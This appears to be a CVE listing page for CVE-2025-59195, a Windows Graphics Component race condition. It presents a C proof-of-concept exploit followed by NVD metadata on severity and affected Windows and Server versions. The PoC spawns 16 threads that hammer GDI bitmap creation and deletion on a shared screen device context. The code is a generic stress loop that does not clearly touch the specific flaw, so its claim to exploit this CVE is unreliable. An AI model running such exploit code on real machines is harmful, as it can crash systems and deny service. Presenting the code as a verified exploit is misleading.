CVE-2025-59195

// CVE-2025-59195 - Microsoft Graphics Component Race Condition PoC // This PoC demonstrates a race condition exploit targeting the Windows Graphics Component // Requires: Windows with vulnerable Graphics Component, low-privilege local access // WARNING: This code is for educational and authorized testing purposes only #include <windows.h> #include <stdio.h> #define NUM_THREADS 16 // Structure to share between threads typedef struct _RACE_CONTEXT { HDC hDC; HBITMAP hBitmap; HANDLE hEvent; volatile LONG flag; } RACE_CONTEXT, *PRACE_CONTEXT; RACE_CONTEXT g_context = { 0 }; // Thread function that triggers the race condition DWORD WINAPI RaceConditionThread(LPVOID lpParam) { PRACE_CONTEXT ctx = (PRACE_CONTEXT)lpParam; DWORD threadId = GetCurrentThreadId(); // Wait for synchronization event WaitForSingleObject(ctx->hEvent, INFINITE); // Rapidly create and delete graphics objects to trigger race condition for (int i = 0; i < 1000; i++) { // Create a compatible bitmap (shared resource) ctx->hBitmap = CreateCompatibleBitmap(ctx->hDC, 1920, 1080); // Select bitmap into device context - potential TOCTOU window HGDIOBJ hOld = SelectObject(ctx->hDC, ctx->hBitmap); // Perform graphics operations BitBlt(ctx->hDC, 0, 0, 100, 100, NULL, 0, 0, BLACKNESS); // Rapid deselection and deletion creates race window SelectObject(ctx->hDC, hOld); DeleteObject(ctx->hBitmap); // Interlocked operation to detect race InterlockedExchange(&ctx->flag, 1); } printf("Thread %lu completed\n", threadId); return 0; } int main() { printf("[+] CVE-2025-59195 PoC - Graphics Component Race Condition\n"); // Get a device context for the entire screen g_context.hDC = GetDC(NULL); if (!g_context.hDC) { printf("[-] Failed to get device context\n"); return 1; } // Create synchronization event g_context.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); // Launch multiple threads to trigger race condition HANDLE hThreads[NUM_THREADS]; for (int i = 0; i < NUM_THREADS; i++) { hThreads[i] = CreateThread(NULL, 0, RaceConditionThread, &g_context, 0, NULL); } // Release all threads simultaneously Sleep(100); SetEvent(g_context.hEvent); // Wait for all threads to complete WaitForMultipleObjects(NUM_THREADS, hThreads, TRUE, INFINITE); // Cleanup for (int i = 0; i < NUM_THREADS; i++) { CloseHandle(hThreads[i]); } CloseHandle(g_context.hEvent); ReleaseDC(NULL, g_context.hDC); printf("[+] PoC execution completed\n"); return 0; }

{"cve": {"id": "CVE-2025-59195", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:58.567", "lastModified": "2025-10-30T16:42:57.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Graphics Component allows an authorized attacker to deny service locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59195", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}